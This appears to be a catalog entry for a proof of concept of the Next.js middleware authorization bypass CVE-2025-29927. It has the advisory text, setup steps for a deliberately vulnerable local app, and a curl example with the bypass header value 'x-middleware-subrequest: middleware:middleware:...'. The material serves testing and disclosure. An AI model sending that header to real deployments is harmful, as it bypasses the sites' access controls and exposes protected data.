CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source

https://github.com/Grand-Moomin/Vuln-Next.js-CVE-2025-29927

Associated Vulnerability

Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

Readme


```sh
npx create-next-app@14.2.23
```

### Install packages

```sh
npm install -D @types/bcrypt
npm install mysql2 
npm install jose
npm install -D @types/jsonwebtoken
```

### Prepare DB

``` SQL
CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(255) UNIQUE NOT NULL,
  password VARCHAR(255) NOT NULL 
);
```

### Run

```bash
npm run dev
```

### 

```sh
# Register some users for test.
curl http://localhost:3000/api/register

# Curl dashboard with or without the header:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard


```

File Snapshot


 [4.0K]  /data/pocs/1dce6e7b622f9faef192e690ae6e082c54dee672
├── [4.0K]  app
│   ├── [4.0K]  api
│   │   ├── [4.0K]  login
│   │   │   └── [1.2K]  route.ts
│   │   └── [4.0K]  register
│   │       └── [ 781]  route.ts
│   ├── [4.0K]  dashboard
│   │   └── [ 925]  page.tsx
│   ├── [ 25K]  favicon.ico
│   ├── [4.0K]  fonts
│   │   ├── [ 66K]  GeistMonoVF.woff
│   │   └── [ 65K]  GeistVF.woff
│   ├── [ 413]  globals.css
│   ├── [ 742]  layout.tsx
│   ├── [4.0K]  login
│   │   └── [2.4K]  page.tsx
│   └── [3.9K]  page.tsx
├── [4.0K]  lib
│   └── [ 301]  db.ts
├── [1.1K]  middleware.ts
├── [  92]  next.config.mjs
├── [ 686]  package.json
├── [225K]  package-lock.json
├── [ 135]  postcss.config.mjs
├── [ 631]  README.md
├── [ 395]  tailwind.config.ts
├── [ 574]  tsconfig.json
└── [4.0K]  utils
    └── [ 378]  jwtverification.ts

9 directories, 20 files

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